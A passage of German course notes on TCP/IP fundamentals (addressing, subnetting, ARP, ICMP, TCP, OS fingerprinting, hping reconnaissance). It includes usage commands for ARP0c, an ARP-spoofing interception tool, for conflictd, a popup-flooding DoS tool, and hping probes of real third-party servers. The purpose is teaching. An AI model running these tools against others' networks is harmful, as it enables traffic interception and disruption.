           |1 1 0|   Class C Adresse      |     192.0.0.0 - 223.255.255.255
           +-+-+-+------------------------+

In jeder der Netzklassen gibt es Bereiche, die reserviert sind und für private Netze benutzt werden können. Die sind:

        Class A    10.x.y.z
        Class B    172.16.x.y-172.31.x.y
        Class C    192.168.x.y

Router im Internet verwerfen Pakete, die eine dieser IP-Adressen als Sender- oder Empfänger-Adresse tragen. Damit kann es auch bei Fehlkonfigurationen im eigenen Netzwerk nicht zu Proble­men kom­men.

In jedem Netzwerk-Bereich gibt es noch zwei wichtige Adressen, nämlich die Netzwerk-Adresse, bei der alle Bits des Host-Teils auf 0 stehen und die Broadcast-Adresse, bei der alle Bits des Host-Teils auf 1 stehen.

Im internen Schul-Netz (192.168.54.x) ist die Netzwerk-Adresse also 192.168.54.0 und die Broad­cast-Adresse 192.168.54.255. Über die Netzwerk-Adresse wird das Netzwerk als Ganzes adressiert, über die Broadcast-Adresse alle Rechner in dem Netz. Ein Ping auf die Broadcast-Adresse sollte also sehr viele Antworten bewirken.

Eine wichtige Rolle spielt auch noch die Netzwerkmaske, die angibt, welcher Teil der IP-Adresse zum Netzwerk gehört und welcher zum Host. Im Netzwerkteil sind alle Bits gesetzt, im Hostteil sind alle Bits gelöscht.

Im Schul-Netz, wie jedem Class C Netz, wäre die Netzwerkmaske also:

255.255.255.0 bzw. 11111111 11111111 11111111 00000000

In einem Class B-Netz hätten wir dann:

255.255.0.0 bzw. 11111111 11111111 00000000 00000000

Leider sind heutzutage die Ergebnisse der Whois-Anfragen teilweise recht unterschiedlich. Das Er­gebnis der Suche nach z.B. hansa-gymnasium.de ist ursprünglich ziemlich umfangreich:

whois hansa-gymnasium.de

% Copyright (c)2006 by DENIC
% Version: 1.07.3
%
% Restricted rights.
%
%
% Terms and Conditions of Use
%
% All the domain data that is visible in the whois search is protected
% by law. It is not permitted to use it for any purpose other than
% technical or administrative requirements associated with the
% operation of the Internet or in order to contact the domain holder
% over legal problems. You are not permitted to save it electronically
% or in any other way without DENIC's express written permission. It
% is prohibited, in particular, to use it for advertising or any similar
% purpose.
%
% By maintaining the connection you assure that you have a legitimate
% interest in the data and that you will only use it for the stated
% purposes. You are aware that DENIC maintains the right to initiate
% legal proceedings against you in the event of any breach of this
% assurance and to bar you from using its whois query.

Domain:      hansa-gymnasium.de
Domain-Ace:  hansa-gymnasium.de
Nserver:     docks02.rzone.de
Nserver:     shades06.rzone.de
Status:      connect
Changed:     2007-11-19T10:07:05+01:00

[Holder]
Type:         ORG
Name:         Hansa-Gymnasium
Address:      Helmut Andersen
Address:      Hermann-Distel-Strasse 25
Pcode:        21029
City:         Hamburg
Country:      DE
Changed:      2007-11-18T22:48:11+01:00

[Admin-C]
Type:         PERSON
Name:         Helmut Andersen
Address:      Hermann-Distel-Strasse 25
Pcode:        21029
City:         Hamburg
Country:      DE
Changed:      2005-10-30T18:48:10+01:00
...

Das entspricht der Auskunft, die man auch über die Webseite http://www.denic.de/de/ erhält. Mehr Informationen bekommt man dort inzwischen erst, wenn man die Nutzungsbedingungen akzeptiert. Es sind also in den Datenbanken deutlich mehr Informationen verfügbar, aber z.T. nur über Webformulare ver­fügbar.

5.3.3 Subnetting

Gerade im Zusammenhang mit offiziellen IP-Adressen bekommt man oft kein ganzes Class-C Netz, sondern nur einen Teil davon, ein Subnetz.

Den Schulen in Hamburg steht z.B. der folgende IP-Bereich zur Verfügung:

195.37.209.128-195.37.209.159

Schaut man sich hier nur das letzte Quad in der Binärdarstellung an, so sind das die Adressen:

1000 0000 bis 1001 1111 die ersten drei Bits gehören also noch zum Netzwerkteil.

Damit ist die Netzwerkmaske

255.255.255.224 bzw. 11111111 11111111 11111111 1110 0000

die Netzwerkadresse 195.37.209.128

die Broadcastadresse 195.37.209.159

es stehen also 31 IP-Adressen zur Verfügung.

5.4. ARP/RARP

Bekanntlich kommunizieren Rechner im TCP/IP Netz über ihre IP-Adressen. Auf der Netzwerkebe­ne erfolgt die Kommunikation aber über die Media Access Control (MAC) Adresse der Netzwerk­karte. Über das ARP-Protokoll erfolgt die Zuordnung zwischen IP- und MAC-Adresse.

Will z.B. der Rechner mit der IP-Adresse 192.168.1.31 den Rechner mit der IP-Adresse 192.168.1.1 erreichen, so benötigt er dessen MAC-Adresse. Dazu gibt er ein ARP-Paket per Broadcast ins Netz.

    ARP: ----- ARP/RARP frame -----
    ARP: 
    ARP: Hardware Typ = 1 (Ethernet)
    ARP: Protokoll Typ = 0x0800 (IP)
    ARP: Länge der Hardware addresse = 6 bytes
    ARP: Länge der Protokoll Addresse = 4 bytes
    ARP: Opcode 1 (ARP request)
    ARP: Hardware Addresse Absender = 0000E2187CBD
    ARP: Protokoll Addresse = [192.168.1.31]
    ARP: Hardware Addresse Ziel   = 000000000000
    ARP: Protokoll Addresse Ziel = [192.168.1.1]
    ARP: 
    ARP: 18 Bytes Füllung
    ARP:               

Der angesprochene Rechner schickt dann, sofern erreichbar, ein Antwortpaket der folgenden Art.

    ARP: ----- ARP/RARP frame -----
    ARP: 
    ARP: Hardware Typ = 1 (Ethernet)
    ARP: Protokoll Typ = 0x0800 (IP)
    ARP: Länge der Hardware addresse = 6 bytes
    ARP: Länge der Protokoll Addresse = 4 bytes
    ARP: Opcode 2 (ARP reply)
    ARP: Hardware Addresse Absender = 0048541B5973
    ARP: Protokoll Addresse = [192.168.1.1]
    ARP: Hardware Addresse Ziel   = 0000E2187CBD
    ARP: Protokoll Addresse Ziel = [192.168.1.31]
    ARP: 
    ARP: 18 Bytes Füllung
    ARP:               

Die Antwort nimmt der fragende Rechner in seine Arp-Tabelle mit auf, so dass er bei weiteren Da­tenübertragungen nicht erneut nachfragen muss. Der momentane Inhalt der Arp-Tabelle lässt sich auf den meisten Systemen mittels:

  arp -a

abfragen. Für die Einträge in dieser Tabelle gilt eine gewisse Lebensdauer, danach werden die Ein­träge gelöscht, um Veränderungen im Netz erkennen zu können.

Ein ARP-Paket hat folgenden Aufbau:

Rechnernetze-040.png

Die Felder haben folgende Bedeutung:

Harware-Typ (16 Bit) u.a. 
  • 1 Ethernet
  • 4 Token Ring
  • 7 Arcnet
  • 17 HDLC
  • 31 Ipsec Tunnel
Protokoll-Typ (16 Bit) 
0x0800IP
Länge der Harware Adresse (8 Bit) 
6 Byte bei Ethernet
Länge der Protokoll Adresse (8Bit) 
4 Byte bei IPv4
Opcode (16 Byte) u.a. 
  • 1 ARP Request
  • 2 ARP Reply
  • 3 RARP Request
  • 4 RARP Reply
Hardware Adresse Absender 
hier steht bei Ethernet die MAC-Adresse mit einer Länge von 6 Byte
Protokoll Adresse Absender 
bei IPv4 steht hier die IP Adresse mit einer Länge von 4 Byte
Hardware Adresse Ziel 
hier steht bei Ethernet die MAC-Adresse mit einer Länge von 6 Byte
Protokoll Adresse Ziel 
bei IPv4 steht hier die IP Adresse mit einer Länge von 4 Byte

Zusätzlich wird das Datenpaket noch mit 18 Byte aufgefüllt für den Versand per IP.


5.4.1. ARP0c

ARP0c http://www.phenoelit-us.org/fr/tools.html ist ein Programm, mit dem man Verbindungen auch in geswitchten Netzen überwachen kann, indem es die Arp-Tabellen der beteiligten Rechner manipu­liert.

In einem geswitchten Netz sieht es für einen potentiellen Sniffer folgendermaßen aus:

+--------+         +--------+         +-------+
| HOST1  |- - - - -+ SWITCH +- - - - -| HOST2 |
+--------+         +--------+         +-------+
                        |
                        |
                   *********
                   * YOU   *   <-- this host gets no packets
                   *********

Der Angreifer sieht hier nur ARP-Anfragen oder andere Arten von Broadcast-Verkehr, der wenig in­teressant ist. Genau deshalb werden in vielen Netzen Switches auch eingesetzt.

Beim Einsatz von ARP0c antworten der richtige Rechner und der ARP0c-Rechner auf ARP-Anfra­gen. Während der richtige Rechner nur einmalig antwortet, fährt der ARP0c mit Antworten fort, um den Zielrechner informiert zu halten.

Die meisten Rechner verwerfen daraufhin die richtige Antwort und glauben den Aussagen des AR­P0c-Rechners. Alle Datenpakete an den richtigen Rechner laufen damit über den ARP0c-Rech­ner, der sich darum kümmert die Datenpakete auch beim eigentlichen Empfänger abzuliefern, damit die Verbindung nicht unterbrochen wird.

+--------+         +--------+         +-------+
| HOST1  |- - - - .+ SWITCH +. - - - -| HOST2 |
+--------+         \--------/         +-------+
                    \   |  /   
                     \  | /
                   *********
                   * ARP0c *   <-- this host gets all packets
                   *********.

ARP0c wird über zwei Textdateien konfiguriert. Die erste Datei (hier routes.txt) beschreibt das Netz­werk. Hier steht in einer Zeile:

Netzwerkadresse Netzwerkmaske Gateway

Beispiel

    192.168.1.0     255.255.255.0   192.168.1.1


Die zweite Datei (hier server.txt) beschreibt die Verbindung, die umgeleitet werden soll. In dieser Da­tei können mehrere Verbindungen beschrieben werden. In jeder Zeile steht:

host1 host2

Beispiel:

    192.168.1.1        192.168.1.92

Dann muss nur noch das Programm aufgerufen werden:

ARP0c -i < interface > -r < routingtable.file > -a < agressive_intercept.file >


Beispiel:

    ARP0c -i eth0 -r routes.txt -a server.txt -v

5.4.2.conflictd

Eine interessante Anwendung von ARP stellt das Programm conflictd http://packetstormsecurity.org/DoS/conflictd.tar.gz zur Verfügung. Es versendet verfälschte ARP-Pa­kete, wodurch am Ziel­rechner ein Popup-Fenster mit einer Fehlermeldung erzeugt wird.

Der Aufruf

conflict-DoS eth0 192.168.1.56

erzeugt dann auf dem angegriffenen Rechner etwa 100 Popup-Fenster mit wenig aussagekräftigem In­halt:

Rechnernetze-041.png

Gerade Wind9x-Anwender, die sehr viel mit der Maus arbeiten sind eine Weile beschäftigt, bis all diese Fenster beseitigt sind. Die werden dann auch kaum die nette MAC-Adresse würdigen wollen.

5.5. ICMP

ICMP dient zum Austausch von technischen Meldungen, die die eigentliche Internet-Schicht nicht er­reichen müssen. Über ICMP können Netzwerkknoten Routing-Informationen austauschen. Auch kann z.B. ein Gateway einen Absender darüber informieren, dass der Zielrechner nicht erreichbar ist.

Rechnernetze-042.png

Die Felder haben folgende Bedutung:

Typ (8Bit) 
Spezifiziert das Format der Nachricht
  • 0 Echo Reply (Ping): Antwort auf ein Echo Request
  • 3 Destination unreachable (Ziel nicht erreichbar): diese Nachricht wird z.B. versandt, wenn ein Netzwerk, Host, Protokoll oder Port nicht erreichbar ist, oder ein Paket nicht fragmentiert werden kann, weil das DF-Bit gesetzt ist
  • 5 Redirect: Das Paket hat zum aktuellen Netzknoten nicht den geschicktesten Weg genommen. Der Ab­sender wird über einen geschickteren Weg informiert.
  • 8 Echo Request (Ping): Paket, das den Empfäger dazu auffordern soll ein Antwortpaket zu schicken. Damit kann die Erreichbarkeit des Zielrechners getestet werden
  • 11 Time exceeded: Mitteilung an den Absender, dass die TTL seines Paketes 0 erreicht hat und das Pa­ket wurde daher verworfen wurde.
  • 13 Timestamp Request: Ähnelt dem Echo Request, nur dass hier zusätzliche Zeitinformationen übermittelt werden. Damit lässt sich die Netzlast feststellen.
  • 14 Timestamp Reply: Antwort auf ein Timestamp Request
Code (8Bit) 
Zusätzliche Informationen für die Nachricht. Bei den meisten Nachrichtentypen ist der Wert dieses Feldes 0. Bei manchen Nachrichtentypen stehen hier folgende Zusatzinformationen:
Typ 3 (Destination Unreachable) Codes:
  • 0 Net Unreachable
  • 1 Host Unreachable
  • 2 Protocol Unreachable
  • 3 Port Unreachable
  • 4 Fragmentation Needed and Don't Fragment was Set
  • 5 Source Route Failed
  • 6 Destination Network Unknown
  • 7 Destination Host Unknown
Typ 5 (Redirect) Codes:
  • 0 Redirect Datagram for the Network (or subnet)
  • 1 Redirect Datagram for the Host
  • 2 Redirect Datagram for the Type of Service and Network
  • 3 Redirect Datagram for the Type of Service and Host
Typ 11 (Time Exceeded) Codes:
  • 0 Time to Live exceeded in Transit
  • 1 Fragment Reassembly Time Exceeded


Kopf-Prüfsumme (16 Bit) 
Prüfsumme über den Header, im 1er Komplement über 16 Bit Worte
Nachricht (variable Länge) 
Spezifische Informationen je nach Nachrichten-Typ. Ggf. auch zum Auffüllen des Paketes auf die Mindestlänge genutzt.


5.6. UDP

Als verbindungsloses Protokoll benötigt UDP keinerlei Bestätigung oder gar eine Sequenzverwal­tung. UDP-Pakete werden in der Reihenfolge abgearbeitet, in der sie eintreffen. Verlorene Pakete werden nicht erneut angefordert, was z.B. bei einem Videostream oder einem Online-Spiel ja auch keinen Sinn machen würde.

Bei diesem Protokoll geht es nur darum, die Ports zu adressieren und für die Konsistenz des Daten­paketes selber zu sorgen. Hierzu dienen eine Längenangabe und eine Prüfsumme.

Rechnernetze-043.png

Aufbau einer UDP-Message:

Absender-Port (16 Bit)
Port für das Protokoll auf Sender-Seite. Kann auch auf 0 gesetzt sein.
Empfänger-Port (16 Bit)
Port für das Protokoll auf Empfänger-Seite. Kann auch auf 0 gesetzt sein.
Länge (16 Bit)
Länge des UDP-Headers und der Daten. Die Mindestlänge ist 8
Prüfsumme (16 Bit)
Prüfsumme im 1er-Komplement über die Daten im Header

5.7. TCP

Dieses Protokoll muss sich nicht um die Adressierung der Daten kümmern, sondern nur um die Si­cherung. Der einzige Adressteil innerhalb dieses Protokolls ist die Portnummer, der eine Zuordnung zu Prozessen innerhalb der jeweiligen Rechner erlaubt.

Ein TCP-Segment hat folgenden Aufbau:

Rechnernetze-044.png

Die Felder haben folgende Bedeutung:

Absender-Port (16 Bit)
Port für das Protokoll auf Sender-Seite
Empfänger-Port (16 Bit)
Port für das Protokoll auf Empfänger-Seite
Sequenz-Nummer (32 Bit)
s.u.
Bestätigungs-Nummer (32 Bit)
Die Sequenznummer und die Bestätigungsnummer sind zwei 32-Bit-Zahlen, die die Stellung der Daten des Segments innerhalb ausgetauschten Datenstroms angeben. Die Sequenznum­mer gilt in Senderichtung, die Bestätigungsnummer für Empfangsquittungen. Jeder der bei­den TCP-Verbindungspartner generiert beim Verbindungsaufbau eine Sequenznummer, die sich während der gesamten Verbindung nicht wiederholen darf (bei einem Zahlenraum von 2^32 sicherlich kein Problem). Diese Nummern werden beim Verbindungsaufbau ausge­tauscht und gegenseitig quittiert.
Bei der Datenübertragung wird die Sequenznummer vom Absender je­weils um die Anzahl der bereits gesendeten Bytes erhöht. Mit der Quittungsnummer gibt der Empfänger bei ge­setztem ACK-Bit an, bis zu welchem Byte er die Daten bereits korrekt emp­fangen hat.
Offset (4 Bit)
Länge des Headers in 32 Bit Worten, kennzeichnet den Anfang des Daten­bereiches. Notwendig, da der Header durch das Options-Feld eine variable Länge besitzt.
Reserve (6 Bit)
Zur Zeit nicht genutzt, muss jeweils auf 0 stehen.
Flags (6 Bit)
Mit den sechs 1-Bit-Flaggen wird u.a. der Verbindungsablauf gesteuert.
  • URG wird das Flag Urgent pointer valid auf 1 gesetzt, so bedeutet dies, dass der Urgent Pointer (Dringend-Zeiger) verwendet wird.
  • ACK Das Acknowledgment number valid-Bit wird gesetzt, um anzugeben, dass die Bestätigungsnummer im Feld Acknowledgement Number gültig ist. Ist das Bit auf 0 gesetzt, enthält das TCP-Segment keine Bestätigung, das Feld Acknowledgement Number wird ignoriert.
  • PSH Ist das Push-Bit gesetzt, so werden die Daten in dem entsprechenden Segment sofort bei Ankunft der adressierten Anwendung bereitgestellt ohne sie zu puffern.
  • RST Das Reset Connection-Bit dient dazu eine Verbindung zurückzusetzen, falls ein Fehler bei Übertragung aufgetreten ist.
  • SYN Das Synchronize Sequenze Numbers-Bit wird verwendet, um Verbindungen aufzubauen. Zusammen mit der Acknowledgement Number und dem ACK-Bit wird die Verbindung im Form eines Dreiwege-Handshake aufgebaut (siehe oben).
  • FIN Das End of Data-Bit dient zum Beenden einer Verbindung. Ist das Bit gesetzt, gibt dies an, dass der Sender keine weiteren Daten zu Übertragen hat. Das Segment mit gesetztem FIN-Bit muss quittiert werden.
Fenster (16 Bit)
Gibt an, wieviele Daten-Bytes der Absender dieses Segmentes in der Lage ist zu akzeptie­ren. Die angegebene Anzahl von Bytes kann der Empfänger dieser Information senden, ohne auf eine Quittung warten zu müssen.
Prüfsumme (16 Bit)
Prüfsumme für den Protokollkopf.
Dringlichkeitsanzeiger (16 Bit)
Wenn das URG-Flag gesetzt ist, dann ergibt dieser Wert zusammen mit der Sequenznummer einen Zeiger auf ein Datenbyte. TCP signalisiert damit, dass sich an dieser Stelle im Daten­strom wichtige Daten befinden, die sofort gelesen werden sollten.
Optionen (variabel 0 bis 44 Byte)
Das Options-Feld bietet die Möglichkeit Funktionen bereitzustellen, die im TCP-Protokollkopf nicht vorgesehen sind. In TCP sind drei Optionen definiert:
  • 0 End of Option List (1 Byte),
  • 1 No-Operation (1 Byte)
  • 2 Maximum Segment Size (4 Byte)
  • 8 Timestamp Value (10 Byte)
Mit der Option maximale Segmentgröße kann ein Host die maximale Anzahl Nutzdaten übermitteln, die er annehmen will bzw. annehmen kann. Während eines Verbindungsaufbaus kann jede Seite ihr Maximum an Nutzdaten übermitteln, die kleinere der beiden Zahlen wird als maximale Nutzdatengröße für die Übertragung übernommen. Wird diese Option von ei­nem Host nicht unterstützt, wird als Standardwert die Vorgabe von 536 Byte verwendet.
Füllzeichen (variable)
Dient dazu die Headerlänge trotz des variablen Optionen-Feldes auf volle 32 Bit Worte zu bringen.

Bevor man eine TCP-Verbindung benutzen kann, muss man sie zuerst einmal aufbauen. Dazu dient ein Dreier-Handshake. Nach dem eigentlichen Datenaustausch muss die Verbindung auch wieder ab­gebaut werden.

Im folgenden Beispiel will ein Rechner (Client) eine Verbindung zu einem anderen Rechner (Ser­ver) aufbauen und von dort z.B. eine HTML-Seite beziehen.


5.7.1. TCP-Verbindungsaufbau

Der Client schickt bei diesem Dreier-Handshake das erste Datenpaket, mit dem er den Verbindungs­aufbau einleitet. Der Server antwortet mit einem Bestätigungspaket, worauf der Client die Verbin­dung als aufgebaut (established) erklärt.

Rechnernetze-045.png

5.7.2. TCP-Datenaustausch

Nach dem Verbindungsaufbau schickt der Server das erste Datenpaket, bei vielen Dienste eine Be­grüßungsmeldung (in der Zwischenzeit wurden 5 Byte übertragen).

Rechnernetze-046.png


5.7.3. TCP-Verbindungsabbau

Zum Beenden der Verbindung sendet der Client ein Paket mit gesetztem FIN-Bit. Wenn nun der Ser­ver ebenfalls ein Paket mit gesetztem FIN-Bit schickt, dann ist die Verbindung beendet.

6. Rechner im Netz

In diesem Abschnitt soll es darum gehen, was man über einen Rechner im Netz erfahren kann, wenn man etwas Wissen über TCP/IP besitzt oder die richtigen Tools kennt.

Zu den wichtigsten Informationen gehören das Betriebssystem und die offenen Ports. Beide Informati­onen lassen sich oft sogar für Systeme ermitteln, die durch eine Firewall geschützt sind.

Hinweis: Die Nutzung vieler Tools gegenüber fremden Rechnern ist in Deutschland nach §202c STGB strafbar. Ein Netzwerkadministrator kann sie aber im eigenen Netz benutzen, um Risiken zu erkennen. Siehe auch http://de.wikipedia.org/wiki/Hackerparagraf.


6.1. OS Fingerprinting

Viele Größen im TCP/IP Protokoll sind nicht zwingend vorgeschrieben bzw. manche Betriebssyst­em-Versionen halten sich nicht an die Vorschriften. Aus diesen Größen lassen sich Rückschlüsse auf das Betriebssystem eines Rechners ziehen.

Die interessantesten TCP/IP Eigenschaften hierfür sind:

  • TTL: Die Lebensdauer für ein ausgehendes Paket wird von den Betriebssystemen unterschiedlich gesetzt.
  • Window Size: Auch die Window-Größe ist sehr unterschiedlich.
  • DF: Viele, aber nicht alle Betriebssysteme setzen dieses Bit.
  • TOS: Auch beim Type of Service Feld existieren Unterschiede.

Die folgende (nicht ganz aktuelle) Tabelle von http://old.honeynet.org/papers/finger/traces.txt gibt einen Überblick über die Bandbreite an unterschiedlichen Werten.

# OS            VERSION PLATFORM        TTL     WINDOW          DF      TOS
#---            ------- --------        ---     -----------     --      ---
DC-OSx          1.1-95  Pyramid/NILE    30      8192            n       0

Windows         9x/NT   Intel           32      5000-9000       y       0

NetApp          OnTap   5.1.2-5.2.2     54      8760            y       0

HPJetDirect     ?       HP_Printer      59      2100-2150       n       0

AIX             4.3.x   IBM/RS6000      60      16000-16100     y       0
AIX             4.2.x   IBM/RS6000      60      16000-16100     n       0
Cisco           11.2    7507            60      65535           y       0
DigitalUnix     4.0     Alpha           60      33580           y       16
IRIX            6.x     SGI             60      61320           y       16
OS390           2.6     IBM/S390        60      32756           n       0
Reliant         5.43    Pyramid/RM1000  60      65534           n       0

FreeBSD         3.x     Intel           64      17520           y       16
JetDirect       G.07.x  J3113A          64      5804-5840       n       0
Linux           2.2.x   Intel           64      32120           y       0
OpenBSD         2.x     Intel           64      17520           n       16
OS/400          R4.4    AS/400          64      8192            y       0
SCO             R5      Compaq          64      24820           n       0
Solaris         8       Intel/Sparc     64      24820           y       0
FTX(UNIX)       3.3     STRATUS         64      32768           n       0
Unisys          x       Mainframe       64      32768           n       0

Netware         4.11    Intel           128     32000-32768     y       0
Windows         9x/NT   Intel           128     5000-9000       y       0
Windows         2000    Intel           128     17000-18000     y       0

Cisco           12.0    2514            255     3800-5000       n       192
Solaris         2.x     Intel/Sparc     255     8760            y       0


6.2. Weitere Informationen

Wenn der Serverbetreiber nicht aufpasst, dann kann man über das Netz eine Vielzahl weiterer Infor­mationen über seinen Rechner abfragen.

Ein sehr nützliches Tool in diesem Zusammenhang ist das Programm hping, das inzwischen in der Version 3 zur Verfügung steht: http://www.hping.org/.

Im einfachsten Fall ist hping ein Ersatz für das übliche ping.

server:~ # ping -c 2 www.netthelp.de
PING www.netthelp.de (85.214.46.129) 56(84) bytes of data.
64 bytes from nett-help.de (85.214.46.129): icmp_seq=1 ttl=59 time=33.1 ms
64 bytes from nett-help.de (85.214.46.129): icmp_seq=2 ttl=59 time=33.0 ms

--- www.netthelp.de ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 33.067/33.108/33.150/0.186 ms

Über den Schalter -c 2 legt man in beiden Programmen fest, dass nur zwei Pakete verschickt werden sollen (mit -1 bekommt man ICMP-Pakete).

server:~ # hping -c 2 -1 www.netthelp.de
HPING www.netthelp.de (eth0 85.214.46.129): icmp mode set, 28 headers + 0 data bytes
len=46 ip=85.214.46.129 ttl=59 id=59061 icmp_seq=0 rtt=32.7 ms
len=46 ip=85.214.46.129 ttl=59 id=59062 icmp_seq=1 rtt=32.7 ms

--- www.netthelp.de hping statistic ---
2 packets tramitted, 2 packets received, 0% packet loss
round-trip min/avg/max = 32.7/32.7/32.7 ms

Spannend wird die Nutzung von hping dann, wenn man mit Rechnern zu tun hat, die auf ICMP-Mel­dungen nicht reagieren. Hping benutzt nämlich TCP und da kann man dann die Möglichkeiten des Protokolles voll ausnutzen.

Eines der Rechnersysteme, die per Ping nicht erreichbar sind, ist www.microsoft.com

server:~ # ping -c2 www.microsoft.com
PING lb1.www.ms.akadns.net (207.46.19.254) 56(84) bytes of data.

--- lb1.www.ms.akadns.net ping statistics ---
2 packets transmitted, 0 received, 100% packet loss, time 1003ms

Ganz gelegentlich erhält man vom Router eine Meldung host unreachable, normalerweise ver­schwinden die Pakete einfach. Die IP-Adresse für www.microsoft.com variiert übrigens sehr stark, da hier viele Rechner hinter dem Namen stecken und über einen Lastverteiler zugeordnet werden. Ein einfa­ches hping www.microsoft.com funktioniert hier aber auch nicht, da hping dann den TCP Port 0 an­spricht, der hier auch vom Router gefiltert wird. Da aber auf dem Rechner sicherlich der Port 80 zur Verfügung steht, könnte man diesen Port ansprechen, was interessanterweise auch eini­gen Paketen ge­lingt.

server:~ # hping -c 2 -p 80 www.microsoft.com
HPING www.microsoft.com (eth0 207.46.19.190): NO FLAGS are set, 40 headers + 0 data bytes
len=46 ip=207.46.19.190 ttl=246 id=45111 sport=80 flags=R seq=0 win=8201 rtt=189.4 ms
len=46 ip=207.46.19.190 ttl=246 id=54366 sport=80 flags=R seq=1 win=8201 rtt=189.7 ms

--- www.microsoft.com hping statistic ---
2 packets tramitted, 2 packets received, 0% packet loss
round-trip min/avg/max = 189.4/189.6/189.7 ms

Um alle Pakete ans Ziel zu bekommen, kann man noch das Syn-Bit setzen, dann klappt der Ping auch auf diesen Rechner.

server:~ # hping -c 2 -p 80 -S www.microsoft.com
HPING www.microsoft.com (eth0 207.46.192.254): S set, 40 headers + 0 data bytes
len=46 ip=207.46.192.254 ttl=246 id=17409 sport=80 flags=SA seq=0 win=8190 rtt=191.6 ms
len=46 ip=207.46.192.254 ttl=246 id=59697 sport=80 flags=SA seq=1 win=8190 rtt=195.1 ms

--- www.microsoft.com hping statistic ---
2 packets tramitted, 2 packets received, 0% packet loss
round-trip min/avg/max = 191.6/193.4/195.1 ms

Selbstverständlich kann hping auch als Ersatz für Traceroute dienen:

server:~ # hping -p 80 -S -T www.microsoft.com
HPING www.microsoft.com (eth0 207.46.19.190): S set, 40 headers + 0 data bytes
hop=1 TTL 0 during transit from ip=192.168.1.254 name=client-254.hsan.hh.schule.de
hop=1 hoprtt=0.7 ms
hop=2 TTL 0 during transit from ip=213.191.84.199 name=lo1.br04.weham.de.hansenet.net
hop=2 hoprtt=28.2 ms
hop=3 TTL 0 during transit from ip=62.109.120.125 name=ae0-101.cr01.weham.de.hansenet.net
hop=3 hoprtt=25.7 ms
hop=4 TTL 0 during transit from ip=62.109.119.10 name=ae1-104.pr05.asham.de.hansenet.net
hop=4 hoprtt=26.4 ms
hop=5 TTL 0 during transit from ip=89.221.35.29 name=amb1-hansenet-3.amb.seabone.net
hop=5 hoprtt=26.4 ms
hop=6 TTL 0 during transit from ip=195.22.206.42 name=unassigned.ash.seabone.net
hop=6 hoprtt=118.9 ms
hop=7 TTL 0 during transit from ip=207.46.41.130 name=ge-4-3-0-46.ash-64cb-1a.ntwk.msn.net
hop=7 hoprtt=118.9 ms
hop=8 TTL 0 during transit from ip=207.46.41.34 name=UNKNOWN
hop=8 hoprtt=122.7 ms
hop=9 TTL 0 during transit from ip=207.46.33.213 name=ge-6-2-0-0.pao-64cb-1b.ntwk.msn.net
hop=9 hoprtt=189.5 ms
hop=10 TTL 0 during transit from ip=207.46.37.169 name=xe-1-0-1-0.bay-16c-1b.ntwk.msn.net
hop=10 hoprtt=189.3 ms
len=46 ip=207.46.19.190 ttl=246 id=20940 sport=80 flags=SA seq=10 win=8190 rtt=189.4 ms
len=46 ip=207.46.19.190 ttl=246 id=2035 sport=80 flags=SA seq=11 win=8190 rtt=185.7 ms
len=46 ip=207.46.19.190 ttl=246 id=59676 sport=80 flags=SA seq=12 win=8190 rtt=185.8 ms
len=46 ip=207.46.19.190 ttl=246 id=59459 sport=80 flags=SA seq=13 win=8190 rtt=185.2 ms

Nach dem Erreichen des Zielrechners läuft alles wie ein normaler hping weiter.

Aus den Daten von hping kann man noch viel mehr entnehmen. Die Änderung der ID lässt Rück­schlüsse auf den Datendurchsatz des Rechners zu. Damit man nicht jeweils erst die Differenz bilden muss, kennt hping den Schalter -r, der genau das bewirkt.

server:~ # hping -p 80 -S  -r  www.informatik.uni-hamburg.de
HPING www.informatik.uni-hamburg.de (eth0 134.100.9.77): S set, 40 headers + 0 data bytes
len=46 ip=134.100.9.77 ttl=52 DF id=60758 sport=80 flags=SA seq=0 win=49680 rtt=54.7 ms
len=46 ip=134.100.9.77 ttl=52 DF id=+1 sport=80 flags=SA seq=1 win=49680 rtt=55.1 ms
len=46 ip=134.100.9.77 ttl=52 DF id=+1 sport=80 flags=SA seq=2 win=49680 rtt=53.8 ms
len=46 ip=134.100.9.77 ttl=52 DF id=+1 sport=80 flags=SA seq=3 win=49680 rtt=54.8 ms
len=46 ip=134.100.9.77 ttl=52 DF id=+3 sport=80 flags=SA seq=4 win=49680 rtt=54.5 ms
len=46 ip=134.100.9.77 ttl=52 DF id=+1 sport=80 flags=SA seq=5 win=49680 rtt=54.2 ms

Die id muss sich zwischen zwei hpings mindestens um 1 erhöhen. Jede weitere Erhöhung ist ein Hin­weis auf ein Datenpaket an einen anderen Rechner. Damit kann man den Traffic auf dem fernen Rech­ner abschätzen.

Zum Vergleich ein Rechner mit großer Last:

server:~ # hping -p 80 -S  -r  www.heise.de
HPING www.heise.de (eth0 193.99.144.85): S set, 40 headers + 0 data bytes
len=46 ip=193.99.144.85 ttl=249 DF id=59348 sport=80 flags=SA seq=0 win=4356 rtt=35.9 ms
len=46 ip=193.99.144.85 ttl=249 DF id=+14448 sport=80 flags=SA seq=1 win=4356 rtt=35.5 ms
len=46 ip=193.99.144.85 ttl=249 DF id=+12917 sport=80 flags=SA seq=2 win=4356 rtt=37.1 ms
len=46 ip=193.99.144.85 ttl=249 DF id=+14003 sport=80 flags=SA seq=3 win=4356 rtt=44.4 ms
len=46 ip=193.99.144.85 ttl=249 DF id=+11757 sport=80 flags=SA seq=4 win=4356 rtt=36.1 ms
len=46 ip=193.99.144.85 ttl=249 DF id=+14429 sport=80 flags=SA seq=5 win=4356 rtt=37.4 ms
len=46 ip=193.99.144.85 ttl=249 DF id=+12996 sport=80 flags=SA seq=6 win=4356 rtt=35.5 ms
len=46 ip=193.99.144.85 ttl=249 DF id=+13374 sport=80 flags=SA seq=7 win=4356 rtt=36.1 ms
len=46 ip=193.99.144.85 ttl=249 DF id=+15737 sport=80 flags=SA seq=8 win=4356 rtt=44.1 ms

Der Serverbetreiber kann die Informationsmöglichkeit unterbinden, dann wird als id immer 0 gelie­fert.

Ermittelt man die Differenzen über einen längeren Zeitraum, so lassen sich recht einfach Lastmes­sungen bei fremden Rechnern erstellen (siehe auch c't 23,2003), hier www.heise.de.

Rechnernetze-047.png

Trägt man nicht die Differenzen auf, sondern die absoluten Werte, so ergeben sich Geraden, eventu­ell mehrere. Die Zahl dieser Geraden entspricht dann der Zahl der Rechner, die hinter der angege­benen IP-Adresse stecken.

Rechnernetze-048.png

Im vorliegenden Fall (reiseauskunft.bahn.de) lässt sich auf drei unterschiedliche Rechner schließen, die die Anfragen beantworten.

